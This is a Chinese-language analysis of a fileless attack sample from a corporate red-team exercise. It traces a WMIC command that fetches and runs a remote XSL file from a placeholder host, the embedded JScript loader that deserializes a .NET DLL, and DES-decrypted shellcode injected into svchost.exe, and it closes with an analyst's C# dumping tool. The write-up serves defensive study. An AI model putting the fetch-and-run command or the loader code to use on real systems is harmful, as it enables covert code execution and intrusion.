一次紅藍對抗無文件攻擊溯源
0x01 簡述
前段時間參加公司舉辦的紅藍對抗演習,幫助藍軍分析并溯源樣本。拿到樣本時,就一個xsl類型的文件,和一個用來執行該樣本的命令行,如下所示:
C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"http://ip/scripts/1.xsl"
可以看出,是通過白利用技術,通過wmic來執行的這個惡意的xsl文件,想了解更多,可以參考這篇文章
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
0x02 xsl文件分析
XSL文件是一種可擴展樣式語言,可以通過內置標簽來解析執行其他腳本語言,如:Javascript,VBscript等。
https://zh.wikipedia.org/wiki/%E5%8F%AF%E6%89%A9%E5%B1%95%E6%A0%B7%E5%BC%8F%E8%AF%AD%E8%A8%80
通過分析發現,該xsl中內嵌的遠不止JS腳本這么簡單!內嵌的js腳本會修改當前進程的shell環境為.net的環境,然后通過解密base64硬編碼的PE文件,該文件是由C#編寫的DLL文件。
然后以.NET的shell環境來調用.net的函數,并把硬編碼的dll文件字節碼反序列化成C#類對象,調用該類對象中的名為:call的函數,通過js調用.net函數,參考:
https://github.com/tyranid/DotNetToJScript
修改Shell環境為.NET:
function autoversion()
{
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;
}
調用.net類對象的call函數,可以看到call函數傳入一個系統進程名字,svchost.exe,另一個是base64硬編碼的一段加密的code
run函數:
function run()
{
var serialized_obj = 'base64硬編碼的C# DLL文件';
var cryptedcode = 'Base64加密的shellcode';
var entry_class = 'test';
try
{
autoversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(fmt.SurrogateSelector);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
o.call('svchost.exe', cryptedcode);
}
catch (e)
{
}
return 0;
}
serialized_obj變量中保存的是base64硬編碼的dll文件,首先通過Chrome瀏覽器自帶的調試器,還原出完整的base64加密字符串,點擊右下角的copy。

然后使用010Editor自帶的base64decode腳本解密該密文

解密base64后,切換個hex模式,往下拉動滾動條,可以看到文件的MZ頭,刪除前面的垃圾內容,保留從MZ頭到末尾即可還原出DLL文件

可以看到是.net2.0庫寫的dll

0x03 C# DLL文件分析
使用ILSpy工具反編譯剛才dump出來的C# DLL文件,可以看到內部有個test類,類中果然有個call的方法

call(svchost,base64密文),Call方法中調用 DESEncrypt.Decrypt(b64code, test.key);方法,解密base64密文,然后使用硬編碼的DES KEY:***ATeam 解密shellcode

最后調用CodeLoader.CreateProcessWithCode(path, code); 通過分析CreateProcessWithCode函數,發現是通過創建傀儡進程的方式注入shellcode并運行的,了解更多,請參考
https://www.4hou.com/technology/8869.html

0x04 shellcode分析
通過上面的分析,可以寫一個C#程序,把注入到進程中的shellcode dump出來
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace test
{
class Program
{
static string key = "xxx";
static string cryptedcode = "base64->des加密的shellcode";
public static byte[] Decrypt(string pToDecrypt, string sKey)
{
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] array = Convert.FromBase64String(pToDecrypt);
dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
return memoryStream.ToArray();
}
static void Main(string[] args)
{
byte[] code = Decrypt(cryptedcode, key);
string filePath = Directory.GetCurrentDirectory() + "\\123.txt";
if (File.Exists(filePath))
File.Delete(filePath);
FileStream fs = new FileStream(filePath, FileMode.Create);
fs.Write(code, 0, code.Length);
fs.Flush();
fs.Close();
int n = 123;
}
}
}
分析shellcode后,發現是個loader程序,對應的C2地址,由于這邊IP訪問限制,訪問不了總部那邊的網絡
